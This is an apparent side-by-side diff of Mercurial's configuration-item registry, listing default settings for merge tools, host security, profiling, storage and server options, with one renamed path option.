1461 default=False,
1461 default=False,
1462 experimental=True,
1462 experimental=True,
1463 )
1463 )
1464 # The interaction between the archived phase and obsolescence markers needs to
1464 # The interaction between the archived phase and obsolescence markers needs to
1465 # be sorted out before wider usage of this are to be considered.
1465 # be sorted out before wider usage of this are to be considered.
1466 #
1466 #
1467 # At the time this message is written, behavior when archiving obsolete
1467 # At the time this message is written, behavior when archiving obsolete
1468 # changeset differ significantly from stripping. As part of stripping, we also
1468 # changeset differ significantly from stripping. As part of stripping, we also
1469 # remove the obsolescence marker associated to the stripped changesets,
1469 # remove the obsolescence marker associated to the stripped changesets,
1470 # revealing the precedecessors changesets when applicable. When archiving, we
1470 # revealing the precedecessors changesets when applicable. When archiving, we
1471 # don't touch the obsolescence markers, keeping everything hidden. This can
1471 # don't touch the obsolescence markers, keeping everything hidden. This can
1472 # result in quite confusing situation for people combining exchanging draft
1472 # result in quite confusing situation for people combining exchanging draft
1473 # with the archived phases. As some markers needed by others may be skipped
1473 # with the archived phases. As some markers needed by others may be skipped
1474 # during exchange.
1474 # during exchange.
1475 coreconfigitem(
1475 coreconfigitem(
1476 b'format',
1476 b'format',
1477 b'exp-archived-phase',
1477 b'exp-archived-phase',
1478 default=False,
1478 default=False,
1479 experimental=True,
1479 experimental=True,
1480 )
1480 )
1481 coreconfigitem(
1481 coreconfigitem(
1482 b'shelve',
1482 b'shelve',
1483 b'store',
1483 b'store',
1484 default=b'internal',
1484 default=b'internal',
1485 experimental=True,
1485 experimental=True,
1486 )
1486 )
1487 coreconfigitem(
1487 coreconfigitem(
1488 b'fsmonitor',
1488 b'fsmonitor',
1489 b'warn_when_unused',
1489 b'warn_when_unused',
1490 default=True,
1490 default=True,
1491 )
1491 )
1492 coreconfigitem(
1492 coreconfigitem(
1493 b'fsmonitor',
1493 b'fsmonitor',
1494 b'warn_update_file_count',
1494 b'warn_update_file_count',
1495 default=50000,
1495 default=50000,
1496 )
1496 )
1497 coreconfigitem(
1497 coreconfigitem(
1498 b'fsmonitor',
1498 b'fsmonitor',
1499 b'warn_update_file_count_rust',
1499 b'warn_update_file_count_rust',
1500 default=400000,
1500 default=400000,
1501 )
1501 )
1502 coreconfigitem(
1502 coreconfigitem(
1503 b'help',
1503 b'help',
1504 br'hidden-command\..*',
1504 br'hidden-command\..*',
1505 default=False,
1505 default=False,
1506 generic=True,
1506 generic=True,
1507 )
1507 )
1508 coreconfigitem(
1508 coreconfigitem(
1509 b'help',
1509 b'help',
1510 br'hidden-topic\..*',
1510 br'hidden-topic\..*',
1511 default=False,
1511 default=False,
1512 generic=True,
1512 generic=True,
1513 )
1513 )
1514 coreconfigitem(
1514 coreconfigitem(
1515 b'hooks',
1515 b'hooks',
1516 b'[^:]*',
1516 b'[^:]*',
1517 default=dynamicdefault,
1517 default=dynamicdefault,
1518 generic=True,
1518 generic=True,
1519 )
1519 )
1520 coreconfigitem(
1520 coreconfigitem(
1521 b'hooks',
1521 b'hooks',
1522 b'.*:run-with-plain',
1522 b'.*:run-with-plain',
1523 default=True,
1523 default=True,
1524 generic=True,
1524 generic=True,
1525 )
1525 )
1526 coreconfigitem(
1526 coreconfigitem(
1527 b'hgweb-paths',
1527 b'hgweb-paths',
1528 b'.*',
1528 b'.*',
1529 default=list,
1529 default=list,
1530 generic=True,
1530 generic=True,
1531 )
1531 )
1532 coreconfigitem(
1532 coreconfigitem(
1533 b'hostfingerprints',
1533 b'hostfingerprints',
1534 b'.*',
1534 b'.*',
1535 default=list,
1535 default=list,
1536 generic=True,
1536 generic=True,
1537 )
1537 )
1538 coreconfigitem(
1538 coreconfigitem(
1539 b'hostsecurity',
1539 b'hostsecurity',
1540 b'ciphers',
1540 b'ciphers',
1541 default=None,
1541 default=None,
1542 )
1542 )
1543 coreconfigitem(
1543 coreconfigitem(
1544 b'hostsecurity',
1544 b'hostsecurity',
1545 b'minimumprotocol',
1545 b'minimumprotocol',
1546 default=dynamicdefault,
1546 default=dynamicdefault,
1547 )
1547 )
1548 coreconfigitem(
1548 coreconfigitem(
1549 b'hostsecurity',
1549 b'hostsecurity',
1550 b'.*:minimumprotocol$',
1550 b'.*:minimumprotocol$',
1551 default=dynamicdefault,
1551 default=dynamicdefault,
1552 generic=True,
1552 generic=True,
1553 )
1553 )
1554 coreconfigitem(
1554 coreconfigitem(
1555 b'hostsecurity',
1555 b'hostsecurity',
1556 b'.*:ciphers$',
1556 b'.*:ciphers$',
1557 default=dynamicdefault,
1557 default=dynamicdefault,
1558 generic=True,
1558 generic=True,
1559 )
1559 )
1560 coreconfigitem(
1560 coreconfigitem(
1561 b'hostsecurity',
1561 b'hostsecurity',
1562 b'.*:fingerprints$',
1562 b'.*:fingerprints$',
1563 default=list,
1563 default=list,
1564 generic=True,
1564 generic=True,
1565 )
1565 )
1566 coreconfigitem(
1566 coreconfigitem(
1567 b'hostsecurity',
1567 b'hostsecurity',
1568 b'.*:verifycertsfile$',
1568 b'.*:verifycertsfile$',
1569 default=None,
1569 default=None,
1570 generic=True,
1570 generic=True,
1571 )
1571 )
1572
1572
1573 coreconfigitem(
1573 coreconfigitem(
1574 b'http_proxy',
1574 b'http_proxy',
1575 b'always',
1575 b'always',
1576 default=False,
1576 default=False,
1577 )
1577 )
1578 coreconfigitem(
1578 coreconfigitem(
1579 b'http_proxy',
1579 b'http_proxy',
1580 b'host',
1580 b'host',
1581 default=None,
1581 default=None,
1582 )
1582 )
1583 coreconfigitem(
1583 coreconfigitem(
1584 b'http_proxy',
1584 b'http_proxy',
1585 b'no',
1585 b'no',
1586 default=list,
1586 default=list,
1587 )
1587 )
1588 coreconfigitem(
1588 coreconfigitem(
1589 b'http_proxy',
1589 b'http_proxy',
1590 b'passwd',
1590 b'passwd',
1591 default=None,
1591 default=None,
1592 )
1592 )
1593 coreconfigitem(
1593 coreconfigitem(
1594 b'http_proxy',
1594 b'http_proxy',
1595 b'user',
1595 b'user',
1596 default=None,
1596 default=None,
1597 )
1597 )
1598
1598
1599 coreconfigitem(
1599 coreconfigitem(
1600 b'http',
1600 b'http',
1601 b'timeout',
1601 b'timeout',
1602 default=None,
1602 default=None,
1603 )
1603 )
1604
1604
1605 coreconfigitem(
1605 coreconfigitem(
1606 b'logtoprocess',
1606 b'logtoprocess',
1607 b'commandexception',
1607 b'commandexception',
1608 default=None,
1608 default=None,
1609 )
1609 )
1610 coreconfigitem(
1610 coreconfigitem(
1611 b'logtoprocess',
1611 b'logtoprocess',
1612 b'commandfinish',
1612 b'commandfinish',
1613 default=None,
1613 default=None,
1614 )
1614 )
1615 coreconfigitem(
1615 coreconfigitem(
1616 b'logtoprocess',
1616 b'logtoprocess',
1617 b'command',
1617 b'command',
1618 default=None,
1618 default=None,
1619 )
1619 )
1620 coreconfigitem(
1620 coreconfigitem(
1621 b'logtoprocess',
1621 b'logtoprocess',
1622 b'develwarn',
1622 b'develwarn',
1623 default=None,
1623 default=None,
1624 )
1624 )
1625 coreconfigitem(
1625 coreconfigitem(
1626 b'logtoprocess',
1626 b'logtoprocess',
1627 b'uiblocked',
1627 b'uiblocked',
1628 default=None,
1628 default=None,
1629 )
1629 )
1630 coreconfigitem(
1630 coreconfigitem(
1631 b'merge',
1631 b'merge',
1632 b'checkunknown',
1632 b'checkunknown',
1633 default=b'abort',
1633 default=b'abort',
1634 )
1634 )
1635 coreconfigitem(
1635 coreconfigitem(
1636 b'merge',
1636 b'merge',
1637 b'checkignored',
1637 b'checkignored',
1638 default=b'abort',
1638 default=b'abort',
1639 )
1639 )
1640 coreconfigitem(
1640 coreconfigitem(
1641 b'experimental',
1641 b'experimental',
1642 b'merge.checkpathconflicts',
1642 b'merge.checkpathconflicts',
1643 default=False,
1643 default=False,
1644 )
1644 )
1645 coreconfigitem(
1645 coreconfigitem(
1646 b'merge',
1646 b'merge',
1647 b'followcopies',
1647 b'followcopies',
1648 default=True,
1648 default=True,
1649 )
1649 )
1650 coreconfigitem(
1650 coreconfigitem(
1651 b'merge',
1651 b'merge',
1652 b'on-failure',
1652 b'on-failure',
1653 default=b'continue',
1653 default=b'continue',
1654 )
1654 )
1655 coreconfigitem(
1655 coreconfigitem(
1656 b'merge',
1656 b'merge',
1657 b'preferancestor',
1657 b'preferancestor',
1658 default=lambda: [b'*'],
1658 default=lambda: [b'*'],
1659 experimental=True,
1659 experimental=True,
1660 )
1660 )
1661 coreconfigitem(
1661 coreconfigitem(
1662 b'merge',
1662 b'merge',
1663 b'strict-capability-check',
1663 b'strict-capability-check',
1664 default=False,
1664 default=False,
1665 )
1665 )
1666 coreconfigitem(
1666 coreconfigitem(
1667 b'merge',
1667 b'merge',
1668 b'disable-partial-tools',
1668 b'disable-partial-tools',
1669 default=False,
1669 default=False,
1670 experimental=True,
1670 experimental=True,
1671 )
1671 )
1672 coreconfigitem(
1672 coreconfigitem(
1673 b'partial-merge-tools',
1673 b'partial-merge-tools',
1674 b'.*',
1674 b'.*',
1675 default=None,
1675 default=None,
1676 generic=True,
1676 generic=True,
1677 experimental=True,
1677 experimental=True,
1678 )
1678 )
1679 coreconfigitem(
1679 coreconfigitem(
1680 b'partial-merge-tools',
1680 b'partial-merge-tools',
1681 br'.*\.patterns',
1681 br'.*\.patterns',
1682 default=dynamicdefault,
1682 default=dynamicdefault,
1683 generic=True,
1683 generic=True,
1684 priority=-1,
1684 priority=-1,
1685 experimental=True,
1685 experimental=True,
1686 )
1686 )
1687 coreconfigitem(
1687 coreconfigitem(
1688 b'partial-merge-tools',
1688 b'partial-merge-tools',
1689 br'.*\.executable$',
1689 br'.*\.executable$',
1690 default=dynamicdefault,
1690 default=dynamicdefault,
1691 generic=True,
1691 generic=True,
1692 priority=-1,
1692 priority=-1,
1693 experimental=True,
1693 experimental=True,
1694 )
1694 )
1695 coreconfigitem(
1695 coreconfigitem(
1696 b'partial-merge-tools',
1696 b'partial-merge-tools',
1697 br'.*\.order',
1697 br'.*\.order',
1698 default=0,
1698 default=0,
1699 generic=True,
1699 generic=True,
1700 priority=-1,
1700 priority=-1,
1701 experimental=True,
1701 experimental=True,
1702 )
1702 )
1703 coreconfigitem(
1703 coreconfigitem(
1704 b'partial-merge-tools',
1704 b'partial-merge-tools',
1705 br'.*\.args',
1705 br'.*\.args',
1706 default=b"$local $base $other",
1706 default=b"$local $base $other",
1707 generic=True,
1707 generic=True,
1708 priority=-1,
1708 priority=-1,
1709 experimental=True,
1709 experimental=True,
1710 )
1710 )
1711 coreconfigitem(
1711 coreconfigitem(
1712 b'partial-merge-tools',
1712 b'partial-merge-tools',
1713 br'.*\.disable',
1713 br'.*\.disable',
1714 default=False,
1714 default=False,
1715 generic=True,
1715 generic=True,
1716 priority=-1,
1716 priority=-1,
1717 experimental=True,
1717 experimental=True,
1718 )
1718 )
1719 coreconfigitem(
1719 coreconfigitem(
1720 b'merge-tools',
1720 b'merge-tools',
1721 b'.*',
1721 b'.*',
1722 default=None,
1722 default=None,
1723 generic=True,
1723 generic=True,
1724 )
1724 )
1725 coreconfigitem(
1725 coreconfigitem(
1726 b'merge-tools',
1726 b'merge-tools',
1727 br'.*\.args$',
1727 br'.*\.args$',
1728 default=b"$local $base $other",
1728 default=b"$local $base $other",
1729 generic=True,
1729 generic=True,
1730 priority=-1,
1730 priority=-1,
1731 )
1731 )
1732 coreconfigitem(
1732 coreconfigitem(
1733 b'merge-tools',
1733 b'merge-tools',
1734 br'.*\.binary$',
1734 br'.*\.binary$',
1735 default=False,
1735 default=False,
1736 generic=True,
1736 generic=True,
1737 priority=-1,
1737 priority=-1,
1738 )
1738 )
1739 coreconfigitem(
1739 coreconfigitem(
1740 b'merge-tools',
1740 b'merge-tools',
1741 br'.*\.check$',
1741 br'.*\.check$',
1742 default=list,
1742 default=list,
1743 generic=True,
1743 generic=True,
1744 priority=-1,
1744 priority=-1,
1745 )
1745 )
1746 coreconfigitem(
1746 coreconfigitem(
1747 b'merge-tools',
1747 b'merge-tools',
1748 br'.*\.checkchanged$',
1748 br'.*\.checkchanged$',
1749 default=False,
1749 default=False,
1750 generic=True,
1750 generic=True,
1751 priority=-1,
1751 priority=-1,
1752 )
1752 )
1753 coreconfigitem(
1753 coreconfigitem(
1754 b'merge-tools',
1754 b'merge-tools',
1755 br'.*\.executable$',
1755 br'.*\.executable$',
1756 default=dynamicdefault,
1756 default=dynamicdefault,
1757 generic=True,
1757 generic=True,
1758 priority=-1,
1758 priority=-1,
1759 )
1759 )
1760 coreconfigitem(
1760 coreconfigitem(
1761 b'merge-tools',
1761 b'merge-tools',
1762 br'.*\.fixeol$',
1762 br'.*\.fixeol$',
1763 default=False,
1763 default=False,
1764 generic=True,
1764 generic=True,
1765 priority=-1,
1765 priority=-1,
1766 )
1766 )
1767 coreconfigitem(
1767 coreconfigitem(
1768 b'merge-tools',
1768 b'merge-tools',
1769 br'.*\.gui$',
1769 br'.*\.gui$',
1770 default=False,
1770 default=False,
1771 generic=True,
1771 generic=True,
1772 priority=-1,
1772 priority=-1,
1773 )
1773 )
1774 coreconfigitem(
1774 coreconfigitem(
1775 b'merge-tools',
1775 b'merge-tools',
1776 br'.*\.mergemarkers$',
1776 br'.*\.mergemarkers$',
1777 default=b'basic',
1777 default=b'basic',
1778 generic=True,
1778 generic=True,
1779 priority=-1,
1779 priority=-1,
1780 )
1780 )
1781 coreconfigitem(
1781 coreconfigitem(
1782 b'merge-tools',
1782 b'merge-tools',
1783 br'.*\.mergemarkertemplate$',
1783 br'.*\.mergemarkertemplate$',
1784 default=dynamicdefault, # take from command-templates.mergemarker
1784 default=dynamicdefault, # take from command-templates.mergemarker
1785 generic=True,
1785 generic=True,
1786 priority=-1,
1786 priority=-1,
1787 )
1787 )
1788 coreconfigitem(
1788 coreconfigitem(
1789 b'merge-tools',
1789 b'merge-tools',
1790 br'.*\.priority$',
1790 br'.*\.priority$',
1791 default=0,
1791 default=0,
1792 generic=True,
1792 generic=True,
1793 priority=-1,
1793 priority=-1,
1794 )
1794 )
1795 coreconfigitem(
1795 coreconfigitem(
1796 b'merge-tools',
1796 b'merge-tools',
1797 br'.*\.premerge$',
1797 br'.*\.premerge$',
1798 default=dynamicdefault,
1798 default=dynamicdefault,
1799 generic=True,
1799 generic=True,
1800 priority=-1,
1800 priority=-1,
1801 )
1801 )
1802 coreconfigitem(
1802 coreconfigitem(
1803 b'merge-tools',
1803 b'merge-tools',
1804 br'.*\.regappend$',
1804 br'.*\.regappend$',
1805 default=b"",
1805 default=b"",
1806 generic=True,
1806 generic=True,
1807 priority=-1,
1807 priority=-1,
1808 )
1808 )
1809 coreconfigitem(
1809 coreconfigitem(
1810 b'merge-tools',
1810 b'merge-tools',
1811 br'.*\.symlink$',
1811 br'.*\.symlink$',
1812 default=False,
1812 default=False,
1813 generic=True,
1813 generic=True,
1814 priority=-1,
1814 priority=-1,
1815 )
1815 )
1816 coreconfigitem(
1816 coreconfigitem(
1817 b'pager',
1817 b'pager',
1818 b'attend-.*',
1818 b'attend-.*',
1819 default=dynamicdefault,
1819 default=dynamicdefault,
1820 generic=True,
1820 generic=True,
1821 )
1821 )
1822 coreconfigitem(
1822 coreconfigitem(
1823 b'pager',
1823 b'pager',
1824 b'ignore',
1824 b'ignore',
1825 default=list,
1825 default=list,
1826 )
1826 )
1827 coreconfigitem(
1827 coreconfigitem(
1828 b'pager',
1828 b'pager',
1829 b'pager',
1829 b'pager',
1830 default=dynamicdefault,
1830 default=dynamicdefault,
1831 )
1831 )
1832 coreconfigitem(
1832 coreconfigitem(
1833 b'patch',
1833 b'patch',
1834 b'eol',
1834 b'eol',
1835 default=b'strict',
1835 default=b'strict',
1836 )
1836 )
1837 coreconfigitem(
1837 coreconfigitem(
1838 b'patch',
1838 b'patch',
1839 b'fuzz',
1839 b'fuzz',
1840 default=2,
1840 default=2,
1841 )
1841 )
1842 coreconfigitem(
1842 coreconfigitem(
1843 b'paths',
1843 b'paths',
1844 b'default',
1844 b'default',
1845 default=None,
1845 default=None,
1846 )
1846 )
1847 coreconfigitem(
1847 coreconfigitem(
1848 b'paths',
1848 b'paths',
1849 b'default-push',
1849 b'default-push',
1850 default=None,
1850 default=None,
1851 )
1851 )
1852 coreconfigitem(
1852 coreconfigitem(
1853 b'paths',
1853 b'paths',
1854 b'[^:]*',
1854 b'[^:]*',
1855 default=None,
1855 default=None,
1856 generic=True,
1856 generic=True,
1857 )
1857 )
1858 coreconfigitem(
1858 coreconfigitem(
1859 b'paths',
1859 b'paths',
1860 b'.*:bookmarks.mode',
1860 b'.*:bookmarks.mode',
1861 default='default',
1861 default='default',
1862 generic=True,
1862 generic=True,
1863 )
1863 )
1864 coreconfigitem(
1864 coreconfigitem(
1865 b'paths',
1865 b'paths',
1866 b'.*:multi-urls',
1866 b'.*:multi-urls',
1867 default=False,
1867 default=False,
1868 generic=True,
1868 generic=True,
1869 )
1869 )
1870 coreconfigitem(
1870 coreconfigitem(
1871 b'paths',
1871 b'paths',
1872 b'.*:pushrev',
1872 b'.*:pushrev',
1873 default=None,
1873 default=None,
1874 generic=True,
1874 generic=True,
1875 )
1875 )
1876 coreconfigitem(
1876 coreconfigitem(
1877 b'paths',
1877 b'paths',
1878 b'.*:pushurl',
1878 b'.*:pushurl',
1879 default=None,
1879 default=None,
1880 generic=True,
1880 generic=True,
1881 )
1881 )
1882 coreconfigitem(
1882 coreconfigitem(
1883 b'paths',
1883 b'paths',
1884 b'.*:delta-reuse-policy',
1884 b'.*:pulled-delta-reuse-policy',
1885 default=None,
1885 default=None,
1886 generic=True,
1886 generic=True,
1887 )
1887 )
1888 coreconfigitem(
1888 coreconfigitem(
1889 b'phases',
1889 b'phases',
1890 b'checksubrepos',
1890 b'checksubrepos',
1891 default=b'follow',
1891 default=b'follow',
1892 )
1892 )
1893 coreconfigitem(
1893 coreconfigitem(
1894 b'phases',
1894 b'phases',
1895 b'new-commit',
1895 b'new-commit',
1896 default=b'draft',
1896 default=b'draft',
1897 )
1897 )
1898 coreconfigitem(
1898 coreconfigitem(
1899 b'phases',
1899 b'phases',
1900 b'publish',
1900 b'publish',
1901 default=True,
1901 default=True,
1902 )
1902 )
1903 coreconfigitem(
1903 coreconfigitem(
1904 b'profiling',
1904 b'profiling',
1905 b'enabled',
1905 b'enabled',
1906 default=False,
1906 default=False,
1907 )
1907 )
1908 coreconfigitem(
1908 coreconfigitem(
1909 b'profiling',
1909 b'profiling',
1910 b'format',
1910 b'format',
1911 default=b'text',
1911 default=b'text',
1912 )
1912 )
1913 coreconfigitem(
1913 coreconfigitem(
1914 b'profiling',
1914 b'profiling',
1915 b'freq',
1915 b'freq',
1916 default=1000,
1916 default=1000,
1917 )
1917 )
1918 coreconfigitem(
1918 coreconfigitem(
1919 b'profiling',
1919 b'profiling',
1920 b'limit',
1920 b'limit',
1921 default=30,
1921 default=30,
1922 )
1922 )
1923 coreconfigitem(
1923 coreconfigitem(
1924 b'profiling',
1924 b'profiling',
1925 b'nested',
1925 b'nested',
1926 default=0,
1926 default=0,
1927 )
1927 )
1928 coreconfigitem(
1928 coreconfigitem(
1929 b'profiling',
1929 b'profiling',
1930 b'output',
1930 b'output',
1931 default=None,
1931 default=None,
1932 )
1932 )
1933 coreconfigitem(
1933 coreconfigitem(
1934 b'profiling',
1934 b'profiling',
1935 b'showmax',
1935 b'showmax',
1936 default=0.999,
1936 default=0.999,
1937 )
1937 )
1938 coreconfigitem(
1938 coreconfigitem(
1939 b'profiling',
1939 b'profiling',
1940 b'showmin',
1940 b'showmin',
1941 default=dynamicdefault,
1941 default=dynamicdefault,
1942 )
1942 )
1943 coreconfigitem(
1943 coreconfigitem(
1944 b'profiling',
1944 b'profiling',
1945 b'showtime',
1945 b'showtime',
1946 default=True,
1946 default=True,
1947 )
1947 )
1948 coreconfigitem(
1948 coreconfigitem(
1949 b'profiling',
1949 b'profiling',
1950 b'sort',
1950 b'sort',
1951 default=b'inlinetime',
1951 default=b'inlinetime',
1952 )
1952 )
1953 coreconfigitem(
1953 coreconfigitem(
1954 b'profiling',
1954 b'profiling',
1955 b'statformat',
1955 b'statformat',
1956 default=b'hotpath',
1956 default=b'hotpath',
1957 )
1957 )
1958 coreconfigitem(
1958 coreconfigitem(
1959 b'profiling',
1959 b'profiling',
1960 b'time-track',
1960 b'time-track',
1961 default=dynamicdefault,
1961 default=dynamicdefault,
1962 )
1962 )
1963 coreconfigitem(
1963 coreconfigitem(
1964 b'profiling',
1964 b'profiling',
1965 b'type',
1965 b'type',
1966 default=b'stat',
1966 default=b'stat',
1967 )
1967 )
1968 coreconfigitem(
1968 coreconfigitem(
1969 b'progress',
1969 b'progress',
1970 b'assume-tty',
1970 b'assume-tty',
1971 default=False,
1971 default=False,
1972 )
1972 )
1973 coreconfigitem(
1973 coreconfigitem(
1974 b'progress',
1974 b'progress',
1975 b'changedelay',
1975 b'changedelay',
1976 default=1,
1976 default=1,
1977 )
1977 )
1978 coreconfigitem(
1978 coreconfigitem(
1979 b'progress',
1979 b'progress',
1980 b'clear-complete',
1980 b'clear-complete',
1981 default=True,
1981 default=True,
1982 )
1982 )
1983 coreconfigitem(
1983 coreconfigitem(
1984 b'progress',
1984 b'progress',
1985 b'debug',
1985 b'debug',
1986 default=False,
1986 default=False,
1987 )
1987 )
1988 coreconfigitem(
1988 coreconfigitem(
1989 b'progress',
1989 b'progress',
1990 b'delay',
1990 b'delay',
1991 default=3,
1991 default=3,
1992 )
1992 )
1993 coreconfigitem(
1993 coreconfigitem(
1994 b'progress',
1994 b'progress',
1995 b'disable',
1995 b'disable',
1996 default=False,
1996 default=False,
1997 )
1997 )
1998 coreconfigitem(
1998 coreconfigitem(
1999 b'progress',
1999 b'progress',
2000 b'estimateinterval',
2000 b'estimateinterval',
2001 default=60.0,
2001 default=60.0,
2002 )
2002 )
2003 coreconfigitem(
2003 coreconfigitem(
2004 b'progress',
2004 b'progress',
2005 b'format',
2005 b'format',
2006 default=lambda: [b'topic', b'bar', b'number', b'estimate'],
2006 default=lambda: [b'topic', b'bar', b'number', b'estimate'],
2007 )
2007 )
2008 coreconfigitem(
2008 coreconfigitem(
2009 b'progress',
2009 b'progress',
2010 b'refresh',
2010 b'refresh',
2011 default=0.1,
2011 default=0.1,
2012 )
2012 )
2013 coreconfigitem(
2013 coreconfigitem(
2014 b'progress',
2014 b'progress',
2015 b'width',
2015 b'width',
2016 default=dynamicdefault,
2016 default=dynamicdefault,
2017 )
2017 )
2018 coreconfigitem(
2018 coreconfigitem(
2019 b'pull',
2019 b'pull',
2020 b'confirm',
2020 b'confirm',
2021 default=False,
2021 default=False,
2022 )
2022 )
2023 coreconfigitem(
2023 coreconfigitem(
2024 b'push',
2024 b'push',
2025 b'pushvars.server',
2025 b'pushvars.server',
2026 default=False,
2026 default=False,
2027 )
2027 )
2028 coreconfigitem(
2028 coreconfigitem(
2029 b'rewrite',
2029 b'rewrite',
2030 b'backup-bundle',
2030 b'backup-bundle',
2031 default=True,
2031 default=True,
2032 alias=[(b'ui', b'history-editing-backup')],
2032 alias=[(b'ui', b'history-editing-backup')],
2033 )
2033 )
2034 coreconfigitem(
2034 coreconfigitem(
2035 b'rewrite',
2035 b'rewrite',
2036 b'update-timestamp',
2036 b'update-timestamp',
2037 default=False,
2037 default=False,
2038 )
2038 )
2039 coreconfigitem(
2039 coreconfigitem(
2040 b'rewrite',
2040 b'rewrite',
2041 b'empty-successor',
2041 b'empty-successor',
2042 default=b'skip',
2042 default=b'skip',
2043 experimental=True,
2043 experimental=True,
2044 )
2044 )
2045 # experimental as long as format.use-dirstate-v2 is.
2045 # experimental as long as format.use-dirstate-v2 is.
2046 coreconfigitem(
2046 coreconfigitem(
2047 b'storage',
2047 b'storage',
2048 b'dirstate-v2.slow-path',
2048 b'dirstate-v2.slow-path',
2049 default=b"abort",
2049 default=b"abort",
2050 experimental=True,
2050 experimental=True,
2051 )
2051 )
2052 coreconfigitem(
2052 coreconfigitem(
2053 b'storage',
2053 b'storage',
2054 b'new-repo-backend',
2054 b'new-repo-backend',
2055 default=b'revlogv1',
2055 default=b'revlogv1',
2056 experimental=True,
2056 experimental=True,
2057 )
2057 )
2058 coreconfigitem(
2058 coreconfigitem(
2059 b'storage',
2059 b'storage',
2060 b'revlog.optimize-delta-parent-choice',
2060 b'revlog.optimize-delta-parent-choice',
2061 default=True,
2061 default=True,
2062 alias=[(b'format', b'aggressivemergedeltas')],
2062 alias=[(b'format', b'aggressivemergedeltas')],
2063 )
2063 )
2064 coreconfigitem(
2064 coreconfigitem(
2065 b'storage',
2065 b'storage',
2066 b'revlog.delta-parent-search.candidate-group-chunk-size',
2066 b'revlog.delta-parent-search.candidate-group-chunk-size',
2067 default=20,
2067 default=20,
2068 )
2068 )
2069 coreconfigitem(
2069 coreconfigitem(
2070 b'storage',
2070 b'storage',
2071 b'revlog.issue6528.fix-incoming',
2071 b'revlog.issue6528.fix-incoming',
2072 default=True,
2072 default=True,
2073 )
2073 )
2074 # experimental as long as rust is experimental (or a C version is implemented)
2074 # experimental as long as rust is experimental (or a C version is implemented)
2075 coreconfigitem(
2075 coreconfigitem(
2076 b'storage',
2076 b'storage',
2077 b'revlog.persistent-nodemap.mmap',
2077 b'revlog.persistent-nodemap.mmap',
2078 default=True,
2078 default=True,
2079 )
2079 )
2080 # experimental as long as format.use-persistent-nodemap is.
2080 # experimental as long as format.use-persistent-nodemap is.
2081 coreconfigitem(
2081 coreconfigitem(
2082 b'storage',
2082 b'storage',
2083 b'revlog.persistent-nodemap.slow-path',
2083 b'revlog.persistent-nodemap.slow-path',
2084 default=b"abort",
2084 default=b"abort",
2085 )
2085 )
2086
2086
2087 coreconfigitem(
2087 coreconfigitem(
2088 b'storage',
2088 b'storage',
2089 b'revlog.reuse-external-delta',
2089 b'revlog.reuse-external-delta',
2090 default=True,
2090 default=True,
2091 )
2091 )
2092 # This option is True unless `format.generaldelta` is set.
2092 # This option is True unless `format.generaldelta` is set.
2093 coreconfigitem(
2093 coreconfigitem(
2094 b'storage',
2094 b'storage',
2095 b'revlog.reuse-external-delta-parent',
2095 b'revlog.reuse-external-delta-parent',
2096 default=None,
2096 default=None,
2097 )
2097 )
2098 coreconfigitem(
2098 coreconfigitem(
2099 b'storage',
2099 b'storage',
2100 b'revlog.zlib.level',
2100 b'revlog.zlib.level',
2101 default=None,
2101 default=None,
2102 )
2102 )
2103 coreconfigitem(
2103 coreconfigitem(
2104 b'storage',
2104 b'storage',
2105 b'revlog.zstd.level',
2105 b'revlog.zstd.level',
2106 default=None,
2106 default=None,
2107 )
2107 )
2108 coreconfigitem(
2108 coreconfigitem(
2109 b'server',
2109 b'server',
2110 b'bookmarks-pushkey-compat',
2110 b'bookmarks-pushkey-compat',
2111 default=True,
2111 default=True,
2112 )
2112 )
2113 coreconfigitem(
2113 coreconfigitem(
2114 b'server',
2114 b'server',
2115 b'bundle1',
2115 b'bundle1',
2116 default=True,
2116 default=True,
2117 )
2117 )
2118 coreconfigitem(
2118 coreconfigitem(
2119 b'server',
2119 b'server',
2120 b'bundle1gd',
2120 b'bundle1gd',
2121 default=None,
2121 default=None,
2122 )
2122 )
2123 coreconfigitem(
2123 coreconfigitem(
2124 b'server',
2124 b'server',
2125 b'bundle1.pull',
2125 b'bundle1.pull',
2126 default=None,
2126 default=None,
2127 )
2127 )
2128 coreconfigitem(
2128 coreconfigitem(
2129 b'server',
2129 b'server',
2130 b'bundle1gd.pull',
2130 b'bundle1gd.pull',
2131 default=None,
2131 default=None,
2132 )
2132 )
2133 coreconfigitem(
2133 coreconfigitem(
2134 b'server',
2134 b'server',
2135 b'bundle1.push',
2135 b'bundle1.push',
2136 default=None,
2136 default=None,
2137 )
2137 )
2138 coreconfigitem(
2138 coreconfigitem(
2139 b'server',
2139 b'server',
2140 b'bundle1gd.push',
2140 b'bundle1gd.push',
2141 default=None,
2141 default=None,
2142 )
2142 )
2143 coreconfigitem(
2143 coreconfigitem(
2144 b'server',
2144 b'server',
2145 b'bundle2.stream',
2145 b'bundle2.stream',
2146 default=True,
2146 default=True,
2147 alias=[(b'experimental', b'bundle2.stream')],
2147 alias=[(b'experimental', b'bundle2.stream')],
2148 )
2148 )
2149 coreconfigitem(
2149 coreconfigitem(
2150 b'server',
2150 b'server',
2151 b'compressionengines',
2151 b'compressionengines',
2152 default=list,
2152 default=list,
2153 )
2153 )
2154 coreconfigitem(
2154 coreconfigitem(
2155 b'server',
2155 b'server',
2156 b'concurrent-push-mode',
2156 b'concurrent-push-mode',
2157 default=b'check-related',
2157 default=b'check-related',
2158 )
2158 )
2159 coreconfigitem(
2159 coreconfigitem(
2160 b'server',
2160 b'server',
2161 b'disablefullbundle',
2161 b'disablefullbundle',
2162 default=False,
2162 default=False,
2163 )
2163 )
2164 coreconfigitem(
2164 coreconfigitem(
2165 b'server',
2165 b'server',
2166 b'maxhttpheaderlen',
2166 b'maxhttpheaderlen',
2167 default=1024,
2167 default=1024,
2168 )
2168 )
2169 coreconfigitem(
2169 coreconfigitem(
2170 b'server',
2170 b'server',
2171 b'pullbundle',
2171 b'pullbundle',
2172 default=True,
2172 default=True,
2173 )
2173 )
2174 coreconfigitem(
2174 coreconfigitem(
2175 b'server',
2175 b'server',
2176 b'preferuncompressed',
2176 b'preferuncompressed',
2177 default=False,
2177 default=False,
2178 )
2178 )
2179 coreconfigitem(
2179 coreconfigitem(
2180 b'server',
2180 b'server',
2181 b'streamunbundle',
2181 b'streamunbundle',
2182 default=False,
2182 default=False,
2183 )
2183 )
2184 coreconfigitem(
2184 coreconfigitem(
2185 b'server',
2185 b'server',
2186 b'uncompressed',
2186 b'uncompressed',
2187 default=True,
2187 default=True,
2188 )
2188 )
2189 coreconfigitem(
2189 coreconfigitem(
2190 b'server',
2190 b'server',
2191 b'uncompressedallowsecret',
2191 b'uncompressedallowsecret',
2192 default=False,
